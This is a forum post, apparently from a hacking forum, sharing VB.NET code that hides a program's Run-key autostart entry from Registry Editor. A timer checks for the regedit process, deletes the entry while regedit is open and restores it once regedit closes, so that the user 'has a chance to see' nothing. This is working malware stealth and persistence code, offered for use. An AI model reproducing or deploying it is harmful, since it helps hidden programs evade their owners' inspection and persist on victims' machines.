Jump to content
ICEBREAKER101010

Hide Value From Registry Editor

Recommended Posts

Credit To : [Eprouvez]

Usage :

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

HideValueFromRegistry(HKEY.CurrentUser, "Software\Microsoft\Windows\CurrentVersion\Run", Me.Text, Application.ExecutablePath)

End Sub

When 'Registry Editor' is started, it goes through the registry, deletes your key before the user has a chance to see it in the Registry Editor. When Registry Editor is closed, it puts the key back in the same place it was deleted.

NOTE: Works perfectly at around Timer1.Interval = 100

Public Enum HKEY

ClassesRoot

CurrentUser

LocalMachine

Users

CurrentConfig

End Enum

Public Shared Sub HideValueFromRegistry(ByVal HKEY As HKEY, ByVal SubKey As String, ByVal Name As String, ByVal KeyValue As String)

Dim List As New List(Of String)

For Each Proc As Process In Process.GetProcesses

List.Add(Proc.ProcessName)

Next

If List.Contains("regedit") Then

Select Case HKEY

Case HKEY.ClassesRoot

Dim Key As RegistryKey = Registry.ClassesRoot.OpenSubKey(SubKey)

If Key.GetValue(Name) IsNot Nothing Then

My.Computer.Registry.ClassesRoot.OpenSubKey(SubKey, True).DeleteValue(Name)

End If

Case HKEY.CurrentUser

Dim Key As RegistryKey = Registry.CurrentUser.OpenSubKey(SubKey)

If Key.GetValue(Name) IsNot Nothing Then

My.Computer.Registry.CurrentUser.OpenSubKey(SubKey, True).DeleteValue(Name)

End If

Case HKEY.LocalMachine

Dim Key As RegistryKey = Registry.LocalMachine.OpenSubKey(SubKey)

If Key.GetValue(Name) IsNot Nothing Then

My.Computer.Registry.LocalMachine.OpenSubKey(SubKey, True).DeleteValue(Name)

End If

Case HKEY.Users

Dim Key As RegistryKey = Registry.Users.OpenSubKey(SubKey)

If Key.GetValue(Name) IsNot Nothing Then

My.Computer.Registry.Users.OpenSubKey(SubKey, True).DeleteValue(Name)

End If

Case HKEY.CurrentConfig

Dim Key As RegistryKey = Registry.CurrentConfig.OpenSubKey(SubKey)

If Key.GetValue(Name) IsNot Nothing Then

My.Computer.Registry.CurrentConfig.OpenSubKey(SubKey, True).DeleteValue(Name)

End If

End Select

Else

Select Case HKEY

Case HKEY.ClassesRoot

Dim Key As RegistryKey = Registry.ClassesRoot.OpenSubKey(SubKey)

If Key.GetValue(Name) Is Nothing Then

My.Computer.Registry.ClassesRoot.OpenSubKey(SubKey, True).SetValue(Name, KeyValue)

End If

Case HKEY.CurrentUser

Dim Key As RegistryKey = Registry.CurrentUser.OpenSubKey(SubKey)

If Key.GetValue(Name) Is Nothing Then

My.Computer.Registry.CurrentUser.OpenSubKey(SubKey, True).SetValue(Name, KeyValue)

End If

Case HKEY.LocalMachine

Dim Key As RegistryKey = Registry.LocalMachine.OpenSubKey(SubKey)

If Key.GetValue(Name) Is Nothing Then

My.Computer.Registry.LocalMachine.OpenSubKey(SubKey, True).SetValue(Name, KeyValue)

End If

Case HKEY.Users

Dim Key As RegistryKey = Registry.Users.OpenSubKey(SubKey)

If Key.GetValue(Name) Is Nothing Then

My.Computer.Registry.Users.OpenSubKey(SubKey, True).SetValue(Name, KeyValue)

End If

Case HKEY.CurrentConfig

Dim Key As RegistryKey = Registry.CurrentConfig.OpenSubKey(SubKey)

If Key.GetValue(Name) Is Nothing Then

My.Computer.Registry.CurrentConfig.OpenSubKey(SubKey, True).SetValue(Name, KeyValue)

End If

End Select

End If

End Sub

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...